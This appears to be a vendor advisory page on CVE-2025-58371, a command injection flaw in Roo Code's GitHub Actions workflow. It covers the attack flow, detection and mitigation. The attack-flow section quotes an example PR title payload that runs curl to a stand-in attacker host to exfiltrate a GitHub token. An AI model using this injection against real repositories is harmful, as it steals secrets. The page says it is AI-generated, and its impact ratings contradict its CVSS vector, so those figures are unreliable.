Join the Cyber Forum: Threat Intel on May 12, 2026 to learn how AI is reshaping threat defense.Join the Virtual Cyber Forum: Threat IntelRegister Now
Experiencing a Breach?Blog
Get StartedContact Us
SentinelOne
  • Platform
    Platform Overview
    • Singularity Platform
      Welcome to Integrated Enterprise Security
    • AI for Security
      Leading the Way in AI-Powered Security Solutions
    • Securing AI
      Accelerate AI Adoption with Secure AI Tools, Apps, and Agents.
    • How It Works
      The Singularity XDR Difference
    • Singularity Marketplace
      One-Click Integrations to Unlock the Power of XDR
    • Pricing & Packaging
      Comparisons and Guidance at a Glance
    Data & AI
    • Purple AI
      Accelerate SecOps with Generative AI
    • Singularity Hyperautomation
      Easily Automate Security Processes
    • AI-SIEM
      The AI SIEM for the Autonomous SOC
    • AI Data Pipelines
      Security Data Pipeline for AI SIEM and Data Optimization
    • Singularity Data Lake
      AI-Powered, Unified Data Lake
    • Singularity Data Lake for Log Analytics
      Seamlessly Ingest Data from On-Prem, Cloud or Hybrid Environments
    Endpoint Security
    • Singularity Endpoint
      Autonomous Prevention, Detection, and Response
    • Singularity XDR
      Native & Open Protection, Detection, and Response
    • Singularity RemoteOps Forensics
      Orchestrate Forensics at Scale
    • Singularity Threat Intelligence
      Comprehensive Adversary Intelligence
    • Singularity Vulnerability Management
      Application & OS Vulnerability Management
    • Singularity Identity
      Identity Threat Detection and Response
    Cloud Security
    • Singularity Cloud Security
      Block Attacks with an AI-Powered CNAPP
    • Singularity Cloud Native Security
      Secure Cloud and Development Resources
    • Singularity Cloud Workload Security
      Real-Time Cloud Workload Protection Platform
    • Singularity Cloud Data Security
      AI-Powered Threat Detection for Cloud Storage
    • Singularity Cloud Security Posture Management
      Detect and Remediate Cloud Misconfigurations
    Securing AI
    • Prompt Security
      Secure AI Tools Across Your Enterprise
  • Why SentinelOne?
    Why SentinelOne?
    • Why SentinelOne?
      Cybersecurity Built for What’s Next
    • Our Customers
      Trusted by the World’s Leading Enterprises
    • Industry Recognition
      Tested and Proven by the Experts
    • About Us
      The Industry Leader in Autonomous Cybersecurity
    Compare SentinelOne
    • Arctic Wolf
    • Broadcom
    • CrowdStrike
    • Cybereason
    • Microsoft
    • Palo Alto Networks
    • Sophos
    • Splunk
    • Trellix
    • Trend Micro
    • Wiz
    Verticals
    • Energy
    • Federal Government
    • Finance
    • Healthcare
    • Higher Education
    • K-12 Education
    • Manufacturing
    • Retail
    • State and Local Government
  • Services
    Managed Services
    • Managed Services Overview
      Wayfinder Threat Detection & Response
    • Threat Hunting
      World-Class Expertise and Threat Intelligence
    • Managed Detection & Response
      24/7/365 Expert MDR Across Your Entire Environment
    • Incident Readiness & Response
      DFIR, Breach Readiness, & Compromise Assessments
    Support, Deployment, & Health
    • Technical Account Management
      Customer Success with Personalized Service
    • SentinelOne GO
      Guided Onboarding & Deployment Advisory
    • SentinelOne University
      Live and On-Demand Training
    • Services Overview
      Comprehensive Solutions for Seamless Security Operations
    • SentinelOne Community
      Community Login
  • Partners
    Our Network
    • MSSP Partners
      Succeed Faster with SentinelOne
    • Singularity Marketplace
      Extend the Power of S1 Technology
    • Cyber Risk Partners
      Enlist Pro Response and Advisory Teams
    • Technology Alliances
      Integrated, Enterprise-Scale Solutions
    • SentinelOne for AWS
      Hosted in AWS Regions Around the World
    • Channel Partners
      Deliver the Right Solutions, Together
    • SentinelOne for Google Cloud
      Unified, Autonomous Security Giving Defenders the Advantage at Global Scale
    • Partner Locator
      Your Go-to Source for Our Top Partners in Your Region
    Partner Portal→
  • Resources
    Resource Center
    • Case Studies
    • Data Sheets
    • eBooks
    • Reports
    • Videos
    • Webinars
    • Whitepapers
    • Events
    View All Resources→
    Blog
    • Feature Spotlight
    • For CISO/CIO
    • From the Front Lines
    • Identity
    • Cloud
    • macOS
    • SentinelOne Blog
    Blog→
    Tech Resources
    • SentinelLABS
    • Ransomware Anthology
    • Cybersecurity 101
  • About
    About SentinelOne
    • About SentinelOne
      The Industry Leader in Cybersecurity
    • Investor Relations
      Financial Information & Events
    • SentinelLABS
      Threat Research for the Modern Threat Hunter
    • Careers
      The Latest Job Opportunities
    • Press & News
      Company Announcements
    • Cybersecurity Blog
      The Latest Cybersecurity Threats, News, & More
    • FAQ
      Get Answers to Our Most Frequently Asked Questions
    • DataSet
      The Live Data Platform
    • S Foundation
      Securing a Safer Future for All
    • S Ventures
      Investing in the Next Generation of Security, Data and AI
  • Pricing
Get StartedContact Us
CVE Vulnerability Database
Vulnerability Database/CVE-2025-58371

CVE-2025-58371: Roocode Roo Code RCE Vulnerability

CVE-2025-58371 is a remote code execution flaw in Roocode Roo Code's GitHub workflow that allows attackers to execute arbitrary commands via unsanitized pull request metadata. This article covers technical details, affected versions, impact, and mitigation.

Published: March 11, 2026

CVE-2025-58371 Overview

CVE-2025-58371 is a critical Command Injection vulnerability affecting Roo Code, an AI-powered autonomous coding agent that integrates into users' editors. The vulnerability exists in GitHub workflow configurations where unsanitized pull request metadata is used in a privileged context, enabling attackers to craft malicious input and achieve Remote Code Execution (RCE) on GitHub Actions runners.

Critical Impact

This vulnerability allows complete repository compromise through arbitrary command execution on GitHub Actions runners, including access to repository secrets, ability to modify code, and creation of malicious releases or packages.

Affected Products

  • Roo Code versions 3.26.6 and below
  • Roocode Roo Code (all platforms)

Discovery Timeline

  • September 5, 2025 - CVE-2025-58371 published to NVD
  • September 15, 2025 - Last updated in NVD database

Technical Details for CVE-2025-58371

Vulnerability Analysis

This vulnerability is classified as CWE-78 (OS Command Injection), representing a severe flaw in how Roo Code's GitHub workflow processes pull request metadata. The workflow runs with elevated permissions and has access to repository secrets, making it a high-value target for attackers.

The core issue lies in the improper sanitization of user-controlled input from pull request metadata before it is passed to shell commands within the GitHub Actions workflow. When a malicious actor submits a pull request with specially crafted metadata (such as a manipulated PR title, branch name, or commit message), the workflow processes this input without proper escaping or validation.

Since the vulnerable workflow operates in a privileged context with broad permissions, successful exploitation grants attackers the ability to execute arbitrary commands with the same privileges as the Actions runner. This network-accessible attack requires no authentication or user interaction, making it particularly dangerous.

Root Cause

The root cause is the use of unsanitized pull request metadata directly within shell command contexts in GitHub Actions workflows. GitHub workflows that interpolate user-controlled variables (such as ${{ github.event.pull_request.title }} or ${{ github.event.pull_request.head.ref }}) directly into run: steps without proper sanitization are vulnerable to command injection attacks.

Attack Vector

The attack is network-based and can be initiated by any user with the ability to create a pull request against the target repository. An attacker crafts a malicious pull request containing shell metacharacters or command sequences in the PR metadata fields. When the workflow triggers on the pull request event, it executes the attacker's injected commands.

The attack flow involves:

  1. Attacker identifies the vulnerable workflow configuration in the target repository
  2. Attacker creates a pull request with malicious payload embedded in metadata (e.g., PR title containing ; curl attacker.com/exfil?secret=$(cat $GITHUB_TOKEN) ;)
  3. The workflow triggers automatically on the PR event
  4. Unsanitized metadata is interpolated into shell commands
  5. Attacker's payload executes with workflow permissions, accessing secrets and repository resources

Detection Methods for CVE-2025-58371

Indicators of Compromise

  • Unexpected or suspicious pull requests with unusual characters in titles, branch names, or commit messages
  • GitHub Actions workflow logs showing unexpected command execution or network connections
  • Unauthorized commits or releases appearing in repository history
  • Evidence of secret exfiltration or unexpected API calls using repository tokens
  • New or modified GitHub Actions workflows not matching expected configurations

Detection Strategies

  • Review GitHub Actions audit logs for anomalous workflow executions triggered by external pull requests
  • Implement GitHub repository rulesets to require approval before workflows run on PRs from first-time contributors
  • Monitor for workflow runs that make unexpected outbound network connections
  • Scan repository workflows for vulnerable patterns using static analysis tools like actionlint

Monitoring Recommendations

  • Enable GitHub Advanced Security code scanning to detect vulnerable workflow patterns
  • Configure alerts for workflow failures or unusual execution times
  • Monitor repository webhook activity for signs of unauthorized automation
  • Implement centralized logging for all GitHub Actions workflow executions in your organization

How to Mitigate CVE-2025-58371

Immediate Actions Required

  • Upgrade Roo Code to version 3.26.7 or later immediately
  • Audit existing GitHub Actions workflows for similar vulnerable patterns involving unsanitized input
  • Review recent pull requests and workflow runs for potential exploitation attempts
  • Rotate any secrets that may have been exposed through the vulnerable workflow
  • Enable required approvals for workflow runs from external contributors

Patch Information

The vulnerability has been fixed in Roo Code version 3.26.7. The security patch is available through the GitHub Commit Update. For detailed information about the vulnerability and remediation, refer to the GitHub Security Advisory GHSA-xr6r-vj48-29f6.

Workarounds

  • Configure pull_request_target workflows to require explicit approval before running on external PRs
  • Use environment variables with proper escaping instead of direct interpolation in run: steps
  • Implement intermediate environment variable assignment to prevent direct injection in shell contexts
  • Restrict workflow permissions using the permissions: key to follow the principle of least privilege
  • Consider disabling the vulnerable workflow temporarily until the patch can be applied
bash
# Example: Safe workflow configuration pattern
# Instead of: run: echo "${{ github.event.pull_request.title }}"
# Use environment variable assignment:
env:
  PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "$PR_TITLE"

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

  • Vulnerability Details
  • TypeRCE

  • Vendor/TechRoocode

  • SeverityCRITICAL

  • CVSS Score9.9

  • EPSS Probability0.42%

  • Known ExploitedNo
  • CVSS Vector
  • CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
  • Impact Assessment
  • ConfidentialityLow
  • IntegrityNone
  • AvailabilityHigh
  • CWE References
  • CWE-78
  • Vendor Resources
  • GitHub Commit Update

  • GitHub Security Advisory
  • Related CVEs
  • CVE-2025-65946: Roocode Roo Code RCE Vulnerability

  • CVE-2025-58372: Roocode Roo Code RCE Vulnerability

  • CVE-2025-53536: Roocode Roo Code RCE Vulnerability

  • CVE-2025-58370: Roocode Roo Code RCE Vulnerability
Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the World’s Most Advanced Cybersecurity Platform

See how our intelligent, autonomous cybersecurity platform can protect your organization now and into the future.

Try SentinelOne
  • Get Started
  • Get a Demo
  • Product Tour
  • Why SentinelOne
  • Pricing & Packaging
  • FAQ
  • Contact
  • Contact Us
  • Customer Support
  • SentinelOne Status
  • Language
  • Platform
  • Singularity Platform
  • Singularity Endpoint
  • Singularity Cloud
  • Singularity AI-SIEM
  • Singularity Identity
  • Singularity Marketplace
  • Purple AI
  • Services
  • Wayfinder TDR
  • SentinelOne GO
  • Technical Account Management
  • Support Services
  • Verticals
  • Energy
  • Federal Government
  • Finance
  • Healthcare
  • Higher Education
  • K-12 Education
  • Manufacturing
  • Retail
  • State and Local Government
  • Cybersecurity for SMB
  • Resources
  • Blog
  • Labs
  • Case Studies
  • Videos
  • Product Tours
  • Events
  • Cybersecurity 101
  • eBooks
  • Webinars
  • Whitepapers
  • Press
  • News
  • Ransomware Anthology
  • Company
  • About Us
  • Our Customers
  • Careers
  • Partners
  • Legal & Compliance
  • Security & Compliance
  • Investor Relations
  • S Foundation
  • S Ventures

©2026 SentinelOne, All Rights Reserved.

Privacy Notice Terms of Use

English